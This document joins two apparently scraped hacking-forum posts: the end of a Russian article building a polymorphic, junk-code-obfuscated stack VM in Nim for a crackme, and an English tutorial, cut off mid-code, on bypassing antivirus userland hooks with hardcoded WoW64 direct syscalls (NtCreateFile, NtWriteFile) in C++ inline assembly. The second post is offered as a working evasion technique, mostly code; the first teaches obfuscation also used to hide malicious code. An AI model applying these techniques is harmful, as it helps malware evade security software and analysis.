Для начала давайте разогреемся написанием небольшого генератора мусорного кода. Наша ВМ стековая, поэтому по большому счету семантика (смысл) двух следующих друг за другом опкодов не поменяется, если между ними вставить любой фрагмент байт-кода, который после своего исполнения оставит стек ровно таким же, как и до своего исполнения. Так, например, функция trash_generate_math сгенерирует код, который как будто бы производит математическую операцию над двумя константами, но на самом деле просто отбрасывает результат математики с помощью опкода POP в конце. Аналогично функция trash_generate_str производит как будто бы манипуляции с длиной строки, но также отбрасывает результат исполнения и оставляет стек в исходном виде. Функция trash_generate псевдослучайно выбирает, какой мусорный код генерировать, в том числе может и просто NOP пихнуть. Понятно, что генератор мусорного кода достаточно примитивен, мне он по большому счету был нужен только для того, чтобы продемонстрировать концепт встраивания мусорного кода в байт-код стековой ВМ. Более интеллектуальные генераторы останутся вам в качестве домашнего задания.

Code:Copy to clipboard

proc compile_generic(compiler: var Compiler, node: NimNode)

proc compile_children(compiler: var Compiler, node: NimNode, exclude: open_array[int] = []) = 
    var i = 0
    for child in node.children:
        if not exclude.contains(i):
            compiler.compile_generic(child)

        i = i + 1

Для реализации паттерна «Посетитель» нам необходимо будет реализовать несколько методов. Самый главный из них - compile_generic пока мы просто объявим, но реализуем его позже. Он будет посещать текущий узел, посещать всех потомков узла, и в зависимости от типа текущего узла вызывать соответствующую функцию для генерации байт-кода. Функция compile_children посещает всех потомков узла кроме тех, номера которых указаны в массиве параметром exclude.

Code:Copy to clipboard

proc compile_strlit(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkStrLit)

    compiler.trash_generate()

    discard compiler.emit.emit_pushs(node.str_val)

proc compile_intlit(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkIntLit)

    compiler.trash_generate()

    discard compiler.emit.emit_pushi(node.int_val.uint32)

proc compile_uintlit(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkUintLit)

    compiler.trash_generate()

    discard compiler.emit.emit_pushi(node.int_val.uint32)

proc compile_uint32lit(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkUint32Lit)

    compiler.trash_generate()

    discard compiler.emit.emit_pushi(node.int_val.uint32)

В том случае, если компилятор посещает узлы, содержащие константы, такие как строки или целые числа, он должен сгенерировать соответствующие опкоды для того, чтобы положить на стек текущую константу. В каждом из указанных выше методов мы сначала проверяем, что находимся в том узле, в котором ожидаем, затем генерируем мусорный код (если trash_generate выставлена в true), а затем просто генерируем нужный опкод (один из опкодов PUSH). Факт генерации мусорного кода и где он находится в какой функции в дальнейшем я буду опускать, я думаю, что это вещь не нуждается в отдельных пояснениях каждый раз, как и факт проверки валидности узла.

Code:Copy to clipboard

proc compile_call(compiler: var Compiler, node: NimNode) =
    node.expectKind(nnkCall)
    node[0].expectKind(nnkSym)

    compiler.trash_generate()

    case $node[0]
    of "readLine":
        discard compiler.emit.emit_input()
    of "echo":
        compiler.compile_children(node, [0])
        discard compiler.emit.emit_echo()
    of "len":
        compiler.compile_children(node, [0])
        discard compiler.emit.emit_slen()
    of "ord":
        compiler.compile_children(node, [0])
        discard compiler.emit.emit_ord()
    else:
        echo(&"Unknown call {$node[0]}")

proc compile_conv(compiler: var Compiler, node: NimNode) =
    node.expectKind(nnkConv)

    compiler.compile_children(node, [0])

Если компилятор посещает узлы nnkCall (вызовы функций), то мы проверяем есть ли у него идентификатор (имя) функции, которую он должен вызвать. В зависимости от идентификатора мы генерируем соответствующий байт-код. Вообще, в этой статье для упрощения всего я опустил описание стек фреймов и вызовов внешних или внутренних функций, поэтому компилятор умеет генерировать только вызовы четырех функций, каждая из которых в рантайме ВМ будет реализована одним опкодом. Да и сама ВМ замкнута внутри одной функции. Вызовы нативных функций из ВМ – сложная тема, которую без ассемблерных вставок скорее всего нормально не решить, а про вызовы функций ВМ функциями ВМ можно дополнительно почитать во многих источниках (могу кинуть ссылку на хорошую книгу, если желаете). Узел nnkConv (конвертация одного типа данных в другой) нам для текущей реализации не нужен, но при его посещении нам нужно исключить первого потомка, поскольку он является типом nnkSym, обрабатывать который нам не нужно в контексте такого родителя, как nnkConv.

Code:Copy to clipboard

proc compile_asgn(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkAsgn)
    node[0].expect_kind(nnkSym)

    compiler.compile_children(node, [0])

    if compiler.locals.contains($node[0]):
        let index = compiler.locals[$node[0]]
        discard compiler.emit.emit_store(index)
    else: echo(&"Unknown symbol {$node}")

proc compile_sym(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkSym)

    if compiler.locals.contains($node):
        let index = compiler.locals[$node]
        discard compiler.emit.emit_load(index)
    else: echo(&"Unknown symbol {$node}")

Если компилятор приходит в узел nnkAssn (присваивание значения переменной), то мы находим в таблице локальных переменных ту, что имеет имя, указанное в узле идентификатором, и генерируем опкод STORE, который возьмет значение с верхушки стека и положит его в таблицу переменных. Наступая на узел nnkSym мы предполагаем, что это получение значение переменной (поэтому мы ранее забанили в этом плане первого потомка nnkConv) и генерируем опкод LOAD, который положит значение переменной на стек ВМ.

Code:Copy to clipboard

proc compile_infix(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkInfix)
    node[0].expect_kind(nnkSym)

    compiler.compile_children(node, [0])

    compiler.trash_generate()

    case $node[0]
    of "and": discard compiler.emit.emit_and()
    of "==":  discard compiler.emit.emit_eq()
    of "<":   discard compiler.emit.emit_lt()
    of "+":   discard compiler.emit.emit_add()
    of "*":   discard compiler.emit.emit_mul()
    else: echo(&"Unknown infix {$node[0]}")

proc compile_identdefs(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkIdentDefs)
    node[0].expect_kind(nnkSym)
    let name = $node[0]
    let count = compiler.locals.len
    compiler.locals[name] = count
    compiler.compile_children(node, [0])
    compiler.trash_generate()
    discard compiler.emit.emit_store(count)

Узел nnkInfix – бинарное выражение с оператором, генерируется аналогичным с nnkCall образом, то есть все операторы, которые нам нужны для данной крекмиши реализуются отдельными опкодами. Узел nnkIdentDefs отвечает за объявление новых переменных, мы предполагаем, что у каждой из переменных будет указано начальное значение, поэтому генерируем байт-код для потомков, регистрируем переменную в таблице и генерируем опкод STORE, который положит значение в переменную.

Code:Copy to clipboard

proc compile_whilestmt(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkWhileStmt)

    let loop_start = compiler.emit.position.uint32

    compiler.compile_generic(node[0])
    let jmp_out = compiler.emit.emit_jmpf()

    compiler.compile_generic(node[1])
    let jmp_loop = compiler.emit.emit_jmp() 
    let loop_end = compiler.emit.position.uint32

    discard compiler.emit.bind_fixup(jmp_out, loop_end)
    discard compiler.emit.bind_fixup(jmp_loop, loop_start)

Мы подошли к более сложным в плане генерации узлам. nnkWhile – это цикл while в исходном коде. Для начала нам нужно сохранить метку старта цикла. Затем скомпилировать байт-код для сравнения в условии цикла (первого потомка). После байт-кода сравнения нам нужно вставить байт-код JMPF (сделать условный переход, если на вершине стека лежит false). Дальше мы генерируем байт-код тела цикла и за ним добавляем опкод JMP (безусловный переход в начало цикла), при этом сохраняя метку конца цикла. После того, как мы сгенерировали код мы можем поправить адреса (на самом деле смещения от начала байт-кода) в опкодах JMP и JMPF с помощью функции bind_fixup.

Code:Copy to clipboard

proc compile_ifstmt(compiler: var Compiler, node: NimNode) =
    node.expect_kind(nnkIfStmt)
    node[0].expect_kind(nnkElifBranch)
    node[1].expect_kind(nnkElse)

    node[0][1].expectKind(nnkStmtList)
    node[1][0].expectKind(nnkStmtList)
 
    compiler.compile_generic(node[0][0])

    let jmp1 = compiler.emit.emit_jmpf()

    compiler.compile_generic(node[0][1])
    let jmp2 = compiler.emit.emit_jmp()
  
    let ofs1 = compiler.emit.position.uint32
    discard compiler.emit.bind_fixup(jmp1, ofs1) 

    compiler.compile_generic(node[1][0])

    let ofs2 = compiler.emit.position.uint32
    discard compiler.emit.bind_fixup(jmp2, ofs2)

Узел nnkIfStmt генерируется аналогично. Мы генерируем код для потомков, вставляя в него JMP и JMPF опкоды для условных переходов. В тот момент, когда нам становятся известны адреса (смещения блет) для всех JMP и JMPF, мы просто исправляем их в уже сгенерированном байт-коде, используя все ту же функцию bind_fixup.

Code:Copy to clipboard

proc compile_generic(compiler: var Compiler, node: NimNode) =
    case node.kind
    of nnkIdentDefs: compiler.compile_identdefs(node)
    of nnkWhileStmt: compiler.compile_whilestmt(node)
    of nnkUint32Lit: compiler.compile_uint32lit(node)
    of nnkUintLit:   compiler.compile_uintlit(node)
    of nnkIfStmt:    compiler.compile_ifstmt(node)
    of nnkStrLit:    compiler.compile_strlit(node) 
    of nnkIntLit:    compiler.compile_intlit(node)
    of nnkInfix:     compiler.compile_infix(node)
    of nnkCall:      compiler.compile_call(node)
    of nnkConv:      compiler.compile_conv(node)
    of nnkAsgn:      compiler.compile_asgn(node)
    of nnkSym:       compiler.compile_sym(node)
    else:            compiler.compile_children(node)
  
proc get_bytecode(compiler: var Compiler): seq[uint8] =
    compiler.compile_validate_jmpf()
    compiler.compile_generic(compiler.root)
  
    compiler.trash_generate()
    compiler.trash_generate()
    compiler.trash_generate()
    discard compiler.emit.emit_halt()
    compiler.trash_generate()
    compiler.trash_generate()
    compiler.trash_generate()

    return compiler.emit.code

Теперь, когда у нас есть все функции для генерации всех важных узлов дерева, которые есть в нашей крекмише, мы можем написать функцию compile_generic. Она представляет собой просто один большой свитч, который вызывает методы в зависимости от типа текущего узла. Если тип текущего узла нам не важен, то функция просто рекурсивно посетит всех его потомков. Метод get_bytecode компилирует все узлы, начиная с корня дерева и возвращает байт-код в виде массива байт. Пока не обращайте внимание на метод compile_validate_jmpf, что это такое я расскажу в заключении.

Code:Copy to clipboard

macro virtualize*(node: typed): untyped =
    echo("\n*** *** ***")
    echo(tree_repr(node))

    var cmp = new_compiler(node.last)
    let cod = cmp.get_bytecode()

    echo("\n*** *** ***")
    echo(cmp.locals)
  
    echo("\n*** *** ***")
    echo(disassemble(cod))

    echo("\n*** *** ***")
    echo(cod.to_hex())

    var bytes = new_seq[string](cod.len)
    for i in 0 ..< bytes.len:
        bytes[i] = &"{cod[i]}'u8"

    let name = $node[0]
    let joined = bytes.join(", ")
    let sources = &"""
proc {name}() =
    let opcodes = @[{joined}]
    var frame = new_frame(opcodes)
    frame.execute()
"""

    let newnode = parse_stmt(sources)
    return newnode[0]

А вот и тот самый макрос virtualize, про который мы говорили в самом начале. Важно заметить, что он должен принимать типизированное AST-дерево (typed) и возвращает нетипизированное. Дело в том, что все макросы и функции времени компиляции языка Nim исполняются и раскрываются на так называемом semPass этапе, на котором в том числе и происходит типизация и семантическая проверка кода. Для нашей крекмиши необходимо, чтобы cp_hash_string был раскрыт до того, как он попадет компилятору, поэтому в макрос нам нужно получать именно типизированное дерево. Макрос создает новый компилятор байт-кода, передает ему корень AST-дерева и получает от компилятора байт-код в виде массива байт. Затем для отладки он выводит список локальных переменных, дизасм байт-кода и хекс строку с байт-кодом. После чего он генерирует исходники для функции, которая создаст и запустит нашу ВМ, передав туда массив байт-кода. Саму виртуальную машину (и функцию execute) мы напишем чуть позже, а пока давайте посмотрим, как это все работает на практике.

Code:Copy to clipboard

0345 LOAD  index:1
0349 PUSHI 1881464870 (0x7024E026)
0359 EQ
0361 JMPF  0448
0371 PUSHS "Password is valid, bro!"
0401 ECHO
0403 PUSHS "You are real cracker, bro!"
0436 ECHO
0438 JMP   0518
0448 PUSHS "Password is invalid, bro!"
0480 ECHO
0482 PUSHS "Better luck next time, bro!"
0516 ECHO
0518 HALT

Так, например, будет выглядеть наша конструкция if-else из крекмиши без мусорного кода. Инструкция LOAD загружает переменную xhash на стек (переменную с индексом 1). Инструкция PUSHI загружает на стек эталонное значение хеша, с которым нам нужно произвести сравнение. Инструкция EQ забирает со стека два значения, сравнивает их и кладет на стек true, если значения совпали, ну и false в противном случае. Инструкция JMPF переходит по адресу 0448, если на стеке лежит false. Инструкции PUSHS и ECHO просто выводят строку на экран. Ну а инструкция JMP перепрыгивает ветку else при исполнении ветки if. Для тех, кто впервые видит такой своего рода низкоуровневый код, может быть непонятно, так что не стесняйтесь задавать вопросы в комментариях. Завсегдатаям же всяких ассемблеров, тут и объяснять особо нечего.

8. Создаем виртуальную машину

Единственной задачей виртуальной машины является корректно исполнить байт-код и не накосячить при этом. Единицу исполнения ВМ, инкапсулирующую стек, локальные переменные и байт-код внутри себя, обычно называют фрейм. Наш фрейм будет единственным и предельно простым, в реальных ВМ существуют целые стеки или же цепочки фреймов, где каждый новый фрейм добавляется в цепочку, когда ВМ вызывает одну функцию с байт-кодом из другой. Но не будем усложнять, и так много иногда сложной для понимания информации в статье.

Code:Copy to clipboard

mport std/macros
import std/random

import reader
import types

const debug_runtime = false

when debug_runtime:
    import disasm

type Frame = object
    reader: Reader
    locals: seq[Object]
    stack:  seq[Object]
  
proc new_frame*(code: seq[uint8]): Frame =
    result = Frame()
    result.reader = new_reader(code)
    result.locals = new_seq[Object]()
    result.stack  = new_seq[Object]()

Константа debug_runtime определяет нужно ли нам отлаживать то, как ВМ исполняет байт-код или нет. В случае отладки нам понадобится импортировать и использовать дизассемблер, который мы написали ранее. Наш фрейм – это структура с ридером (что почти одно и тоже, что и «с байт-кодом»), массивом значений локальных переменных и стеком. Конструктор фрейма просто создает вложенные структуры.

Code:Copy to clipboard

proc push(stack: var seq[Object], value: Object) =
    stack.add(value)

proc pop(stack: var seq[Object]): Object =
    result = stack[stack.len - 1]
    stack.del(stack.len - 1)

proc store(locals: var seq[Object], index: uint8, value: Object) =
    let idx = index.int
    if idx >= locals.len:     
        locals.set_len(idx + 1)
  
    locals[idx] = value

proc load(locals: var seq[Object], index: uint8): Object =
    return locals[index.int]

Названия функций push/pop и store/load говорят сами за себя. Функция push кладет значение на стек, pop – получает значение с верхушки стека, store – сохраняет значение локальной переменной, load – получает значение переменной. Давайте теперь рассмотрим функции для исполнения каждого опкода нашей виртуальной машины.

Code:Copy to clipboard

proc execute_nop(frame: var Frame) =
    discard

proc execute_pushi(frame: var Frame) =
    let arg = frame.reader.read_arg_uint32()
    frame.stack.push(new_integer_obj(arg))

proc execute_pushs(frame: var Frame) =
    let arg = frame.reader.read_arg_string()
    frame.stack.push(new_string_obj(arg))

proc execute_pop(frame: var Frame) =
    discard frame.stack.pop()

proc execute_store(frame: var Frame) =
    let val = frame.stack.pop()
    let idx = frame.reader.read_arg_uint8()
    frame.locals.store(idx, val)

proc execute_load(frame: var Frame) =
    let idx = frame.reader.read_arg_uint8()
    let val = frame.locals.load(idx)
    frame.stack.push(val)

proc execute_add(frame: var Frame) =
    let o2 = frame.stack.pop()
    let o1 = frame.stack.pop()
    let vl = o1.get_integer() + o2.get_integer()
    frame.stack.push(new_integer_obj(vl))

proc execute_mul(frame: var Frame) =
    let o2 = frame.stack.pop()
    let o1 = frame.stack.pop()
    let vl = o1.get_integer() * o2.get_integer()
    frame.stack.push(new_integer_obj(vl))

proc execute_and(frame: var Frame) =
    let o2 = frame.stack.pop()
    let o1 = frame.stack.pop()
    let vl = o1.get_integer() and o2.get_integer()
    frame.stack.push(new_integer_obj(vl))

proc execute_eq(frame: var Frame) =
    let o2 = frame.stack.pop()
    let o1 = frame.stack.pop()
    let vl = o1.get_integer() == o2.get_integer()
    frame.stack.push(new_boolean_obj(vl))

proc execute_lt(frame: var Frame) =
    let o2 = frame.stack.pop()
    let o1 = frame.stack.pop()
    let vl = o1.get_integer() < o2.get_integer()
    frame.stack.push(new_boolean_obj(vl))

proc execute_slen(frame: var Frame) =
    let str = frame.stack.pop()
    let val = str.get_string().len.uint32
    frame.stack.push(new_integer_obj(val))

proc execute_ord(frame: var Frame) =
    let idx = frame.stack.pop().get_integer()
    let str = frame.stack.pop().get_string()
    let res = new_integer_obj(str[idx].uint32)
    frame.stack.push(res)

proc execute_jmpf(frame: var Frame) =
    let arg = frame.reader.read_arg_uint32()
    let val = frame.stack.pop().get_boolean()

    if val == ct_false:
        frame.reader.position = arg.int

proc execute_jmp(frame: var Frame) =
    let arg = frame.reader.read_arg_uint32()
    frame.reader.position = arg.int

proc execute_echo(frame: var Frame) =
    let msg = frame.stack.pop()
    echo(msg.get_string())

proc execute_input(frame: var Frame) =
    let msg = read_line(stdin)
    let obj = new_string_obj(msg)
    frame.stack.push(obj)

proc execute_halt(frame: var Frame) =
    frame.reader.set_end()

Опкод NOP не делает ничего, этим он немного похож на всех тех критиков, которые любят устраивать срачи в комментах статей, но сами статьи не пишут. Но мы его (опкод) любим таким, какой он есть. Опкод PUSHI кладет на стек константу целочисленного типа. Опкод PUSHS кладет на стек строковую константу. Опкод POP удаляет значение с вершины стека, покойся с миром, значение. Опкод STORE берет с вершины стека одно значение и присваивает его указанной в аргументах опкода переменной. Опкод LOAD делает обратную операцию, кладет на стек значение переменной. Опкод ADD берет со стека два значения, складывает их и результат сложения кладет обратно на стек. Тоже самое делают опкоды MUL и AND, но для умножения и побитового «И» соответственно. Опкод EQ берет два значения с вершины стека, сравнивает их и кладет на стек либо true, либо false в зависимости от результатов сравнения. Опкод LT делает тоже самое, но для сравнения «less than» (меньше чем). Опкод SLEN забирает с вершины стека строку и кладет на стек ее длину. Опкод ORD забирает с вершины стека индекс и строку и кладет на стек целочисленное значение символа из строки по указанному индексу. Опкоды JMP и JMPF производят безусловные и условные переходы соответственно. Опкод ECHO берет с вершины стека строку и выводит ее в консоль. Опкод INPUT считывает пользовательский ввод в консоль в виде строки и кладет ее на вершину стека. Опкод HALT завершает работу ВМ.

Code:Copy to clipboard

macro generate_execute_table(): untyped =
    let handlers = [
        "execute_nop",
        "execute_pushi",
        "execute_pushs",
        "execute_pop",
        "execute_store",
        "execute_load",
        "execute_add",
        "execute_mul",
        "execute_and",
        "execute_eq",
        "execute_lt",
        "execute_slen",
        "execute_ord",
        "execute_jmpf",
        "execute_jmp",
        "execute_echo",
        "execute_input"
    ]
  
    result = nnkStmtList.new_tree()
    for i in 0 ..< 255:     
        let handler = case i
        of Opcode.Nop.int:   "execute_nop"
        of Opcode.PushI.int: "execute_pushi"
        of Opcode.PushS.int: "execute_pushs"
        of Opcode.Pop.int:   "execute_pop"
        of Opcode.Store.int: "execute_store"
        of Opcode.Load.int:  "execute_load"
        of Opcode.Add.int:   "execute_add"
        of Opcode.Mul.int:   "execute_mul"
        of Opcode.And.int:   "execute_and"
        of Opcode.Eq.int:    "execute_eq"
        of Opcode.Lt.int:    "execute_lt"
        of Opcode.Slen.int:  "execute_slen"
        of Opcode.Ord.int:   "execute_ord"
        of Opcode.JmpF.int:  "execute_jmpf"
        of Opcode.Jmp.int:   "execute_jmp"
        of Opcode.Echo.int:  "execute_echo"
        of Opcode.Input.int: "execute_input"
        of Opcode.Halt.int:  "execute_halt"
        else: ct_rand.sample(handlers)

        result.add(nnkAsgn.new_tree(
            nnkBracketExpr.new_tree(
                ident("execute_table"),
                new_lit(i)
            ),
            ident(handler)
        ))

type Handler = proc (frame: var Frame)

var execute_table = new_seq[Handler](256)
generate_execute_table()

proc execute*(frame: var Frame) =
    while not frame.reader.at_end():
        when debug_runtime:
            echo(disassemble_restore(frame.reader))
      
        let opc = frame.reader.read_opcode()
        execute_table[opc.int](frame)

Бывают разные реализации ВМ, классической реализацией можно считать функцию с огромным свитчом, которая в зависимости от опкода вызывает соответствующую функцию обработчик (одну из тех, что были описаны выше). Мы же с вами сделаем jump table с функциями обработчиками. Один опкод нашей ВМ (хоть и имеет псевдослучаное значение) умещается в один байт, то есть от 0 до 255 включительно. Поэтому мы можем создать массив указателей на функции обработчики, а опкод будет индексом в этом массиве. Конечно, нам же хочется полиморфную ВМ, поэтому массив этих обработчиков мы будем формировать псевдослучайно с помощью макроса generate_execute_table. Макрос проходит все индексы от 0 до 255 включительно, если индекс соответствует действующему опкоду (вы же помните, что значения опкодов у нас тоже псевдослучайные), он пихает туда указатель на соответствующий опкоду обработчик, если же индекс не соответствует опкоду (опкодов у нас явно меньше, чем 256), то он пихает туда указатель на псевдослучайный обработчик. Таблица обработчиков формируется в таблицу execute_table в рантайме. Метод execute в цикле считывает опкоды до конца байт-кода, для каждого из них вызывая соответствующий обработчик из таблицы. В режиме отладки мы также выводим, какая инструкция исполнялась в след за какой с помощью дизассемблера.

9. Заключение

В заключении хочу вам немного рассказать о судьбе этой крекмиши. Изначально я предполагал, что господам реверсерам придется разбираться в байт-коде и патчить опкод JMPF в проверке валидности пароля на NOP. Я даже построил компилятор таким образом, чтобы это было удобно сделать, и добавил опкод NOP, без которого ВМ вполне могла бы обойтись. Однако выяснилось, что жуликоватые реверсеры могут просто пропатчить обработчик опкода JMPF таким образом, чтобы он не делал условный переход. Из-за структуры самой машины и крекмиши это вполне себе работало и даже не рушило стек. Во второй версии я добавил такую приколюху, о которой обещал вам рассказать:

Code:Copy to clipboard

proc compile_validate_jmpf(compiler: var Compiler) =
    let val1 = ct_rand_uint32()
    var val2 = ct_rand_uint32()
    while val2 == val1:
        val2 = ct_rand_uint32()

    compiler.trash_generate()
    discard compiler.emit.emit_pushi(val1)
  
    compiler.trash_generate()
    discard compiler.emit.emit_pushi(val2)
  
    compiler.trash_generate()
    discard compiler.emit.emit_eq()

    compiler.trash_generate()
    let jmp = compiler.emit.emit_jmpf()
  
    let msg1 = "Please don't patch my opcode handlers, bro!"
    let msg2 = "This is so rude of you, please don't, bro!"

    compiler.trash_generate()
    discard compiler.emit.emit_pushs(msg1)

    compiler.trash_generate()
    discard compiler.emit.emit_echo()

    compiler.trash_generate()
    discard compiler.emit.emit_pushs(msg2)

    compiler.trash_generate()
    discard compiler.emit.emit_echo()

    compiler.trash_generate()
    discard compiler.emit.emit_halt()

    compiler.trash_generate()
    let jump_out = compiler.emit.emit_jmp()
    discard compiler.emit.bind_fixup(jump_out, 9999)
  
    let ofs = compiler.emit.position.uint32
    discard compiler.emit.bind_fixup(jmp, ofs)

Этот метод генерирует байт-код проверяющий семантику (смысл, поведение) опкода JMPF. Если обработчик этого опкода был пропатчен, то байт-код выводит сообщение реверсеру о том, чтобы тот не патчил обработчики, и останавливает ВМ. Конечно, это можно было бы решить, запатчив обработчик с использованием счетчика (типа первый раз он корректный, последующие разы он пропатченный), но в итоге господа реверсеры решали крекмишу так, как я изначально задумал, а именно патчами байт-кода.

Друзья, спасибо, что дочитали эту мою статью до конца. Она получилось довольно сложная и большая, как минимум я писал ее сложно и долго, но надеюсь, что вам было интересно и нескучно ее читать. Очень давно хотел донести до вас эту интересную тему и очень хотел вас заинтересовать ей. Мы с вами сделали небольшую и достаточно высокоуровневую ВМ, которая больше напоминает всякие Петоны и Луа, чем на ВМПротекты и Темиды, но концептуально эти вещи похожи. Простите, если для вас таких низкоуровневых эстетов, данная тема кажется слишком высокоуровневой. Сама тема очень обширная и мне пришлось многие моменты функционирования реальных ВМ опустить или сильно упростить. Созданная ВМ, по сути, может нормально исполнять только одну захардкоженную крекмишу, отсутствует хоть какая-нибудь оптимизация байт-кода, многие вещи мы переиспользовали, а не писали с нуля (лексер и парсер, сборщик мусора из языка Nim, например), но статья уже получилась на 30к символов. Остальные аспекты, которых я не коснулся мы можем пообсуждать в комментариях к статье, и надеюсь, что даже новичкам теперь эта тема не кажется такой уж сложной. Статья написана специальной для вас - моего любимого уютненького комьюнити xss.is. ❤️❤️❤️

Bypassing Antivirus Userland hooks with direct system calls in x64 bit with syswow64
ID: 6765d804b4103b69df37591e
Thread ID: 60862
Created: 2022-01-04T19:53:03+0000
Last Post: 2022-01-08T06:36:25+0000
Author: mose3c
Prefix: Статья
Replies: 33 Views: 4K

Reversing Ntdll.dll and Hardcoding Syscalls directly from c++.

In this tutorial I will show you how to reverse Ntdll.dll functions and find the System call then hardcoded it and use it in your c++ project to bypass Userland hooks.

1 – reverse NtCreateFile and NtWriteFile functions and find the system call.
2 – Create function prototype
3 – Hardcode the function system call.
4 – Use the function in main and All done.

So lets start ,
first open your IDA and drag and drop the Ntdll.dll from c:\windows\syswow64\ntdll.dll
then make sure you import idb file .
the next step go to Exports tap and search for Ntcreatefile function .
Now we see :

Code:Copy to clipboard

mov    eax, 55h ; 'U'  ; NtCreateFile
mov    edx, offset _Wow64SystemServiceCall@0 ; Wow64SystemServiceCall()
call    edx ; Wow64SystemServiceCall() ; Wow64SystemServiceCall()
retn 2Ch; ','

move eax,55h 55 is the system call number for NtCreateFile function ,
and becouse we are in 64bit system and our application is 86bit so we need to switch to wow64bit ,
so we need to make some changes to this asm code , what we ganna do is make switch to syswow64 manualy using call dword ptr fs :[0xC0]
so the code will be like this :

Code:Copy to clipboard

mov    eax,55h
call dword ptr fs:[0xC0] ; wow64cpu.dll!X86SwitchTo64BitMode
retn 2Ch

now we have our asm code for NtcreateFile , now do the same for NtwriteFile function.

Ok we are done save the asm code to text file any were in your disk and close IDA.
Go to visual studio create new c++ empty project and follow me .
What we need now is define the typedef of our functions and ofcurse we need to define others structs and STRING , UNICODE , functions like RtlAnsiStringToUnicodeString to convert the char to string then string to unicode with less code and liss missing.
and becouse we are using Nt functions and we are hardcoding every thing we need to pay attention to the file path we want to write to it.
if we use Winapi and need to create file using CreateFileA Or CreateFileW the path will be like this . c:\users\mose3c\Desktop\my.jpg
and the winapi function will make every thing for you like converting the path to Nt Path . you can see this closely if you open ApiMonotring and trace the CreateFile function you will know what this function do for you and how much make your life easy.
now our Nt path will be like this : \??\\c:\\users\\mose3c\\Desktop\\my.jpg
other wise will not work.
ok lets define our functions prototype and others .

Code:Copy to clipboard

typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING;
typedef STRING * PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG          Length;
HANDLE          RootDirectory;
PUNICODE_STRING ObjectName;
ULONG          Attributes;
PVOID          SecurityDescriptor;
PVOID          SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* _RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef void (NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef DWORD(NTAPI* _RtlAnsiStringToUnicodeString)(PUNICODE_STRING, PANSI_STRING, BOOL);
typedef VOID(NTAPI* _RtlInitString)(PSTRING DestinationString, char* SourceString);
_RtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlAnsiStringToUnicodeString");
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
_RtlInitString RtlInitString = (_RtlInitString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitString");


typedef VOID(NTAPI* PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);


/******* functions *******/
typedef NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize OPTIONAL, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer OPTIONAL, ULONG EaLength);
typedef NTSTATUS(NTAPI* _NtWriteFile)(HANDLE  FileHandle, HANDLE Event, PIO_APC_ROUTINE  ApcRoutine, PVOID  ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID  Buffer, ULONG Length, PLARGE_INTEGER  ByteOffset, PULONG  Key);
typedef NTSTATUS(NTAPI* _NtResumeThread)(HANDLE  ThreadHandle, PULONG  SuspendCount);
typedef NTSTATUS(NTAPI* _NtClose)(HANDLE Handle);

_NtCreateFile NtCreateFile;
_NtWriteFile NtWriteFile;
_NtResumeThread NtResumeThread;
_NtClose NtClose;

now lets write our inline asm code .

Code:Copy to clipboard

_declspec(naked) NTSTATUS _stdcall WIN10_64_NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize OPTIONAL, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer OPTIONAL, ULONG EaLength)
{
_asm
{
mov    eax, 55h
call    dword ptr fs : [0xC0]
retn 2Ch
}
}

_declspec(naked) NTSTATUS _stdcall WIN10_64_NtWriteFile(HANDLE  FileHandle, HANDLE Event, PIO_APC_ROUTINE  ApcRoutine, PVOID  ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID  Buffer, ULONG Length, PLARGE_INTEGER  ByteOffset, PULONG  Key)
{
_asm
{
mov  eax, 1A0008h
call  dword ptr fs : [0xC0]
retn 24h
}
}

ok done.whats next , lets go to to our main function.
and pass the address of WIN10_64_NtCreateFile = to NtCreateFile and WIN10_64_NtWriteFile to NtWriteFile
like this

Code:Copy to clipboard

NtCreateFile  = &WIN10_64_NtCreateFile
NtWriteFile = &WIN10_64_NtWriteFile

ok . and now we will define attributes and others args but its not our tutorial will skip it and if you need any help just replay and i will try to help you .

Code:Copy to clipboard

NTSTATUS status;
UNICODE_STRING Ustring;
ANSI_STRING as;
HANDLE hFile;
IO_STATUS_BLOCK risb;
OBJECT_ATTRIBUTES robj;

